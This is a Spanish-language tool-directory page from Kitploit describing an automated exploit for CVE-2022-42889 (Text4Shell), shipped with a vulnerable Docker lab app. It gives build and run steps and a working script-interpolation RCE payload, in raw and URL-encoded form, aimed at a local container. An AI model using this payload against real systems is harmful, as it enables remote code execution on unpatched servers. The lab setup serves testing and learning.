Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
Text4shell--Automated-exploit---CVE-2022-42889 — Exploit automatizado para CVE-2022-42889 (Text4Shell) con una aplicación Dockerizada vulnerable para pruebas y orientación de explotación manual. | Kitploit
Herramientas/GitHubGitHub/adarshpv9746/text4shell--automated-exploit---cve-2022-42889
Análisis Dinámico (Sandboxing)Análisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebPruebas de PenetraciónDesarrollo de Payloads
GitHubadarshpv9746/text4shell--automated-exploit---cve-2022-42889

Text4shell--Automated-exploit---CVE-2022-42889

Exploit automatizado para CVE-2022-42889 (Text4Shell) con una aplicación Dockerizada vulnerable para pruebas y orientación de explotación manual.

Ver Repositorio
5hace 3 añosAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

Instalar maven - maven-linux

//Para hacking automatizado: 1../install.sh

root@kitploit:~
2../exploit.sh

3.Para eliminar la aplicación usa ./stopapp.sh

//Para hacking manual:

  1. Instalación de Maven para crear el fat jar
root@kitploit:~
mvn clean install
  1. Compilación Docker
root@kitploit:~
docker build --tag=text4shell .
  1. Ejecutar Docker
root@kitploit:~
docker run -p 80:8080 text4shell
  1. Probar la aplicación
root@kitploit:~
http://localhost/text4shell/attack?search=<anything>
  1. El ataque se puede realizar pasando una cadena “${prefix:name}” donde el prefijo es la búsqueda mencionada anteriormente:
root@kitploit:~
${script:javascript:java.lang.Runtime.getRuntime().exec('touch /tmp/foo')}

http://localhost/text4shell/attack?search=%24%7Bscript%3Ajavascript%3Ajava.lang.Runtime.getRuntime%28%29.exec%28%27touch%20%2Ftmp%2Ffoo%27%29%7D

  1. También puedes intentar usar los prefijos dns o url.

  2. Obtén el id del contenedor

root@kitploit:~
docker container ls
  1. Accede a la aplicación
root@kitploit:~
docker exec -it <container_id> bash
  1. Para verificar si el RCE anterior fue exitoso (Deberías ver un archivo llamado foo creado en el directorio /tmp):
root@kitploit:~
ls /tmp/
  1. Para detener el contenedor
root@kitploit:~
docker container stop <container_id>
Descargar herramienta